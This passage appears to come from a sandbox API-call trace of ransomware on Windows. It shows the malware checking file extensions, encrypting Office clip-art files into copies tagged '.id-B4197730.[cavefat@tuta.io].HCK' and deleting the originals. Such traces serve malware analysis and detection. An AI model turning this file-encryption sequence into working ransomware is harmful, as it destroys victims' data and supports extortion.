(lpString=".jpg") returned 4 [0179.238] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00934_.WMF") returned 68 [0179.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00934_.WMF") returned 68 [0179.238] lstrlenW (lpString=".doc") returned 4 [0179.238] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.238] lstrlenW (lpString=".docx") returned 5 [0179.238] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.238] lstrlenW (lpString=".pdf") returned 4 [0179.238] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.238] lstrlenW (lpString=".xls") returned 4 [0179.238] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.238] lstrlenW (lpString=".xlsx") returned 5 [0179.238] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.238] lstrlenW (lpString=".ppt") returned 4 [0179.238] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00934_.WMF") returned 68 [0179.238] lstrlenW (lpString=".zip") returned 4 [0179.238] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.238] lstrlenW (lpString=".rar") returned 4 [0179.238] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.238] lstrlenW (lpString=".bz2") returned 4 [0179.238] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.238] lstrlenW (lpString=".7z") returned 3 [0179.238] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00934_.WMF") returned 68 [0179.238] lstrlenW (lpString=".dbf") returned 4 [0179.238] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00934_.WMF") returned 68 [0179.238] lstrlenW (lpString=".1cd") returned 4 [0179.238] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.238] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE00934_.WMF") returned 68 [0179.238] lstrlenW (lpString=".jpg") returned 4 [0179.238] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.238] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0179.238] lstrlenW (lpString="PE01172_.WMF") returned 12 [0179.238] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE01172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe01172_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0179.245] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=1436) returned 1 [0179.245] CloseHandle (hObject=0x370) returned 1 [0179.245] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE01172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe01172_.wmf")) returned 0x220 [0179.246] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE01172_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe01172_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0179.246] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE01172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe01172_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0179.247] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0179.247] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0179.247] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE01172_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe01172_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0179.252] GetLastError () returned 0x0 [0179.252] ReadFile (in: hFile=0x370, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x59c, lpOverlapped=0x0) returned 1 [0179.254] WriteFile (in: hFile=0x300, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x5a0, lpOverlapped=0x0) returned 1 [0179.255] ReadFile (in: hFile=0x370, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0179.256] WriteFile (in: hFile=0x300, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0179.256] SetEndOfFile (hFile=0x300) returned 1 [0179.259] CloseHandle (hObject=0x300) returned 1 [0179.261] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0179.261] SetEndOfFile (hFile=0x370) returned 1 [0179.262] CloseHandle (hObject=0x370) returned 1 [0179.262] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE01172_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0179.262] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE01172_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe01172_.wmf")) returned 1 [0179.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE01172_.WMF") returned 68 [0179.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE01172_.WMF") returned 68 [0179.264] lstrlenW (lpString=".doc") returned 4 [0179.264] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.264] lstrlenW (lpString=".docx") returned 5 [0179.264] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.264] lstrlenW (lpString=".pdf") returned 4 [0179.264] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.264] lstrlenW (lpString=".xls") returned 4 [0179.264] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.264] lstrlenW (lpString=".xlsx") returned 5 [0179.264] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.264] lstrlenW (lpString=".ppt") returned 4 [0179.264] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE01172_.WMF") returned 68 [0179.264] lstrlenW (lpString=".zip") returned 4 [0179.264] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.264] lstrlenW (lpString=".rar") returned 4 [0179.264] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.264] lstrlenW (lpString=".bz2") returned 4 [0179.264] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.264] lstrlenW (lpString=".7z") returned 3 [0179.264] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE01172_.WMF") returned 68 [0179.264] lstrlenW (lpString=".dbf") returned 4 [0179.264] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE01172_.WMF") returned 68 [0179.264] lstrlenW (lpString=".1cd") returned 4 [0179.264] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.264] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE01172_.WMF") returned 68 [0179.264] lstrlenW (lpString=".jpg") returned 4 [0179.264] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE01172_.WMF") returned 68 [0179.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE01172_.WMF") returned 68 [0179.265] lstrlenW (lpString=".doc") returned 4 [0179.265] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.265] lstrlenW (lpString=".docx") returned 5 [0179.265] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.265] lstrlenW (lpString=".pdf") returned 4 [0179.265] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.265] lstrlenW (lpString=".xls") returned 4 [0179.265] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.265] lstrlenW (lpString=".xlsx") returned 5 [0179.265] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.265] lstrlenW (lpString=".ppt") returned 4 [0179.265] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE01172_.WMF") returned 68 [0179.265] lstrlenW (lpString=".zip") returned 4 [0179.265] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.265] lstrlenW (lpString=".rar") returned 4 [0179.265] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.265] lstrlenW (lpString=".bz2") returned 4 [0179.265] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.265] lstrlenW (lpString=".7z") returned 3 [0179.265] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE01172_.WMF") returned 68 [0179.265] lstrlenW (lpString=".dbf") returned 4 [0179.265] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE01172_.WMF") returned 68 [0179.265] lstrlenW (lpString=".1cd") returned 4 [0179.265] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.265] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE01172_.WMF") returned 68 [0179.265] lstrlenW (lpString=".jpg") returned 4 [0179.265] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.265] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0179.265] lstrlenW (lpString="PE02120_.WMF") returned 12 [0179.265] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02120_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02120_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0179.268] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=9172) returned 1 [0179.268] CloseHandle (hObject=0x3a4) returned 1 [0179.268] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02120_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02120_.wmf")) returned 0x220 [0179.270] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02120_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02120_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0179.270] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02120_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02120_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0179.273] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0179.273] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0179.273] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02120_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02120_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0179.274] GetLastError () returned 0x0 [0179.274] ReadFile (in: hFile=0x2fc, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x23d4, lpOverlapped=0x0) returned 1 [0179.275] WriteFile (in: hFile=0x39c, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x23e0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x23e0, lpOverlapped=0x0) returned 1 [0179.276] ReadFile (in: hFile=0x2fc, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0179.276] WriteFile (in: hFile=0x39c, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0179.276] SetEndOfFile (hFile=0x39c) returned 1 [0179.277] CloseHandle (hObject=0x39c) returned 1 [0179.278] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0179.278] SetEndOfFile (hFile=0x2fc) returned 1 [0179.282] CloseHandle (hObject=0x2fc) returned 1 [0179.282] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02120_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0179.282] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02120_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02120_.wmf")) returned 1 [0179.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02120_.WMF") returned 68 [0179.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02120_.WMF") returned 68 [0179.285] lstrlenW (lpString=".doc") returned 4 [0179.285] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.285] lstrlenW (lpString=".docx") returned 5 [0179.285] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.285] lstrlenW (lpString=".pdf") returned 4 [0179.285] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.285] lstrlenW (lpString=".xls") returned 4 [0179.285] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.285] lstrlenW (lpString=".xlsx") returned 5 [0179.285] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.285] lstrlenW (lpString=".ppt") returned 4 [0179.285] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02120_.WMF") returned 68 [0179.285] lstrlenW (lpString=".zip") returned 4 [0179.285] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.285] lstrlenW (lpString=".rar") returned 4 [0179.285] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.285] lstrlenW (lpString=".bz2") returned 4 [0179.285] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.285] lstrlenW (lpString=".7z") returned 3 [0179.285] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02120_.WMF") returned 68 [0179.285] lstrlenW (lpString=".dbf") returned 4 [0179.285] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02120_.WMF") returned 68 [0179.286] lstrlenW (lpString=".1cd") returned 4 [0179.286] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02120_.WMF") returned 68 [0179.286] lstrlenW (lpString=".jpg") returned 4 [0179.286] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02120_.WMF") returned 68 [0179.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02120_.WMF") returned 68 [0179.286] lstrlenW (lpString=".doc") returned 4 [0179.286] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.286] lstrlenW (lpString=".docx") returned 5 [0179.286] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.286] lstrlenW (lpString=".pdf") returned 4 [0179.286] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.286] lstrlenW (lpString=".xls") returned 4 [0179.286] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.286] lstrlenW (lpString=".xlsx") returned 5 [0179.286] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.286] lstrlenW (lpString=".ppt") returned 4 [0179.286] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02120_.WMF") returned 68 [0179.286] lstrlenW (lpString=".zip") returned 4 [0179.286] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.286] lstrlenW (lpString=".rar") returned 4 [0179.286] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.286] lstrlenW (lpString=".bz2") returned 4 [0179.286] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.286] lstrlenW (lpString=".7z") returned 3 [0179.286] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02120_.WMF") returned 68 [0179.286] lstrlenW (lpString=".dbf") returned 4 [0179.286] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02120_.WMF") returned 68 [0179.286] lstrlenW (lpString=".1cd") returned 4 [0179.286] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.286] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02120_.WMF") returned 68 [0179.286] lstrlenW (lpString=".jpg") returned 4 [0179.286] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.286] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0179.286] lstrlenW (lpString="PE02265_.WMF") returned 12 [0179.286] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02265_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02265_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0179.290] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=25266) returned 1 [0179.290] CloseHandle (hObject=0x3a4) returned 1 [0179.290] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02265_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02265_.wmf")) returned 0x220 [0179.294] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02265_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02265_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0179.296] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02265_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02265_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0179.298] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0179.298] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0179.298] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02265_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02265_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0179.302] GetLastError () returned 0x0 [0179.302] ReadFile (in: hFile=0x370, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x62b2, lpOverlapped=0x0) returned 1 [0179.305] WriteFile (in: hFile=0x3a4, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0x62c0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0x62c0, lpOverlapped=0x0) returned 1 [0179.306] ReadFile (in: hFile=0x370, lpBuffer=0x3a1e020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1 [0179.306] WriteFile (in: hFile=0x3a4, lpBuffer=0x3a1e020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3a1e020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1 [0179.306] SetEndOfFile (hFile=0x3a4) returned 1 [0179.307] CloseHandle (hObject=0x3a4) returned 1 [0179.308] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1 [0179.308] SetEndOfFile (hFile=0x370) returned 1 [0179.309] CloseHandle (hObject=0x370) returned 1 [0179.311] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02265_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0179.311] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02265_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\pe02265_.wmf")) returned 1 [0179.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02265_.WMF") returned 68 [0179.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02265_.WMF") returned 68 [0179.318] lstrlenW (lpString=".doc") returned 4 [0179.318] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0179.318] lstrlenW (lpString=".docx") returned 5 [0179.318] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0179.318] lstrlenW (lpString=".pdf") returned 4 [0179.318] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0179.318] lstrlenW (lpString=".xls") returned 4 [0179.318] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0179.318] lstrlenW (lpString=".xlsx") returned 5 [0179.318] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0179.318] lstrlenW (lpString=".ppt") returned 4 [0179.318] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0179.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02265_.WMF") returned 68 [0179.318] lstrlenW (lpString=".zip") returned 4 [0179.318] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0179.318] lstrlenW (lpString=".rar") returned 4 [0179.318] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0179.318] lstrlenW (lpString=".bz2") returned 4 [0179.318] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0179.318] lstrlenW (lpString=".7z") returned 3 [0179.318] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0179.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02265_.WMF") returned 68 [0179.318] lstrlenW (lpString=".dbf") returned 4 [0179.318] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0179.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02265_.WMF") returned 68 [0179.318] lstrlenW (lpString=".1cd") returned 4 [0179.318] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0179.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02265_.WMF") returned 68 [0179.318] lstrlenW (lpString=".jpg") returned 4 [0179.318] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0179.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\PE02265_.WMF") returned 68 [0179.318] lstrlenW (lpString="C:\\Program Files\\Microsoft 